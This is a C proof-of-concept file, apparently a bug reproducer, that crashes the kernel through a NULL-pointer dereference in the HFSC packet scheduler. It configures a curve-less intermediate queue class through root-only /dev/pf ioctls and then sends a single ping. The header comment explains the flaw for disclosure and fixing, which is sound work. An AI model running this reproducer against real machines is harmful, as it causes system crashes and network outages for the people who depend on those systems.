DF-3385 / hfsc_initvf_null.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 | /* * DF-3385 -- HFSC init_vf() NULL-pointer dereference panic * * Mechanism (root-only config path via /dev/pf ioctls, then any traffic): * * hfsc_class_create() (sys/net/altq/altq_hfsc.c:481-485) only allocates * cl_fsc when the user-supplied link-sharing curve is non-zero * (lssc_m1==0 && lssc_m2==0 -> cl_fsc == NULL). Nothing stops such a * curve-less class from becoming an INTERMEDIATE class (hfsc_add_queue_locked * only requires the parent_qid to resolve, altq_hfsc.c:214-217). * * When the first packet is enqueued into any descendant leaf, the activation * walk init_vf() (altq_hfsc.c:992-1079) visits every ancestor whose * cl_nactive goes 0->1 and, at line 1040, calls * * rtsc_min(&cl->cl_virtual, cl->cl_fsc, vt, cl->cl_total); * * with cl_fsc == NULL for the curve-less ancestor -> rtsc_min dereferences * isc->sm1 (altq_hfsc.c:1578) -> read of virtual address 0 -> Fatal trap 12. * * Proof this is an oversight and not a design invariant: the passive-side * walk update_vf() has the exact guard (altq_hfsc.c:1092) * * if (cl->cl_fsc == NULL || cl->cl_nactive == 0) continue; * * and init_vf() itself NULL-checks cl_usc a few lines below (line 1055). * cl_fsc at line 1040 is the only unguarded dereference. * * Transaction model on /dev/pf (root required): * DIOCSTART (start pf) * DIOCXBEGIN rs_num=PF_RULESET_ALTQ * DIOCADDALTQ discipline (hfsc on vtnet0) * DIOCADDALTQ "q_root" lssc_m2=1Gbps (root class) * DIOCADDALTQ "q_mid" all curves ZERO (curve-less intermediate) * DIOCADDALTQ "q_leaf" lssc_m2=10Mbps + HFCF_DEFAULTCLASS (leaf under q_mid) * DIOCXCOMMIT (attach hfsc to vtnet0) * DIOCSTARTALTQ (enable altq on the ifqueue) * ping -c1 10.0.2.2 (any packet -> hfsc_enqueue -> init_vf) * * Expected: Fatal trap 12: page fault, virtual address 0x0, in * rtsc_min/init_vf <- set_active <- hfsc_enqueue. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <net/if.h> #include <net/pf/pfvar.h> #include <net/altq/altq.h> #include <net/altq/altq_hfsc.h> #define IFNAME "vtnet0" #define GW "10.0.2.2" static int begin_altq_txn(int fd, u_int32_t *ticket) { struct pfioc_trans_e te; struct pfioc_trans tr; memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; memset(&tr, 0, sizeof(tr)); tr.size = 1; tr.esize = sizeof(te); tr.array = &te; if (ioctl(fd, DIOCXBEGIN, &tr) < 0) return (-1); *ticket = te.ticket; return (0); } static int commit_altq_txn(int fd, u_int32_t ticket) { struct pfioc_trans_e te; struct pfioc_trans tr; memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; te.ticket = ticket; memset(&tr, 0, sizeof(tr)); tr.size = 1; tr.esize = sizeof(te); tr.array = &te; return (ioctl(fd, DIOCXCOMMIT, &tr)); } static int add_altq(int fd, u_int32_t ticket, struct pf_altq *a) { struct pfioc_altq pa; memset(&pa, 0, sizeof(pa)); pa.ticket = ticket; pa.altq = *a; if (ioctl(fd, DIOCADDALTQ, &pa) < 0) return (-1); *a = pa.altq; /* kernel returns assigned qid */ return (0); } static void mkbase(struct pf_altq *a, const char *qname, u_int32_t parent_qid) { memset(a, 0, sizeof(*a)); a->scheduler = ALTQT_HFSC; a->ifbandwidth = 1000000000; /* 1 Gbps */ a->bandwidth = 1000000000; a->qlimit = 30; a->priority = 0; a->parent_qid = parent_qid; strlcpy(a->ifname, IFNAME, sizeof(a->ifname)); if (qname != NULL) strlcpy(a->qname, qname, sizeof(a->qname)); } int main(void) { int fd; u_int32_t ticket; struct pf_altq root, mid, leaf; fd = open("/dev/pf", O_RDWR); if (fd < 0) { perror("open /dev/pf (need root + pf.ko)"); return (2); } if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST) fprintf(stderr, "DIOCSTART: %s (continuing)\n", strerror(errno)); if (begin_altq_txn(fd, &ticket) < 0) { fprintf(stderr, "DIOCXBEGIN(ALTQ): %s\n", strerror(errno)); return (1); } printf("altq ticket=%u\n", ticket); /* (1) HFSC discipline on vtnet0. */ mkbase(&root, NULL, 0); if (add_altq(fd, ticket, &root) < 0) { fprintf(stderr, "DIOCADDALTQ(hfsc discipline): %s\n", strerror(errno)); return (1); } printf("hfsc discipline added\n"); /* (2) Root class WITH a link-sharing curve. */ mkbase(&root, "q_root", 0); root.pq_u.hfsc_opts.lssc_m2 = 1000000000; /* 1 Gbps */ if (add_altq(fd, ticket, &root) < 0) { fprintf(stderr, "DIOCADDALTQ(q_root): %s\n", strerror(errno)); return (1); } printf("root class qid=%u (lssc m2=1Gbps)\n", root.qid); /* (3) Intermediate class with NO curves at all -> cl_fsc == NULL. */ mkbase(&mid, "q_mid", root.qid); /* hfsc_opts stays all-zero: no rtsc, no lssc, no ulsc. */ if (add_altq(fd, ticket, &mid) < 0) { fprintf(stderr, "DIOCADDALTQ(q_mid): %s\n", strerror(errno)); return (1); } printf("curve-less intermediate class qid=%u (all hfsc_opts zero)\n", mid.qid); /* (4) Leaf under q_mid with a link-sharing curve; make it the default * class so unclassified traffic (plain ping) lands in it. */ mkbase(&leaf, "q_leaf", mid.qid); leaf.pq_u.hfsc_opts.lssc_m2 = 10000000; /* 10 Mbps */ leaf.pq_u.hfsc_opts.flags = HFCF_DEFAULTCLASS; if (add_altq(fd, ticket, &leaf) < 0) { fprintf(stderr, "DIOCADDALTQ(q_leaf): %s\n", strerror(errno)); return (1); } printf("leaf class qid=%u (lssc m2=10Mbps, default class)\n", leaf.qid); if (commit_altq_txn(fd, ticket) < 0) { fprintf(stderr, "DIOCXCOMMIT: %s\n", strerror(errno)); return (1); } printf("committed; hfsc attached to %s\n", IFNAME); if (ioctl(fd, DIOCSTARTALTQ) < 0) { fprintf(stderr, "DIOCSTARTALTQ: %s\n", strerror(errno)); return (1); } printf("altq enabled on %s\n", IFNAME); printf("\n*** SENDING ONE PACKET -- EXPECT FATAL TRAP 12 (NULL deref) " "IN init_vf/rtsc_min ***\n"); fflush(stdout); /* Any packet into vtnet0's ifqueue: hfsc_enqueue -> set_active -> * init_vf -> rtsc_min(&cl->cl_virtual, NULL, ...) -> page fault. */ if (system("ping -c 1 -t 2 " GW) != 0) printf("ping returned nonzero (interface may be wedged)\n"); /* * If we get here the kernel survived the packet. * Roll the altq config back (empty transaction) so the interface * is detached from hfsc and the network recovers. */ sleep(1); if (begin_altq_txn(fd, &ticket) == 0) { if (commit_altq_txn(fd, ticket) == 0) printf("altq rolled back; %s detached from hfsc\n", IFNAME); } printf("NO PANIC: bug did not reproduce\n"); return (0); } |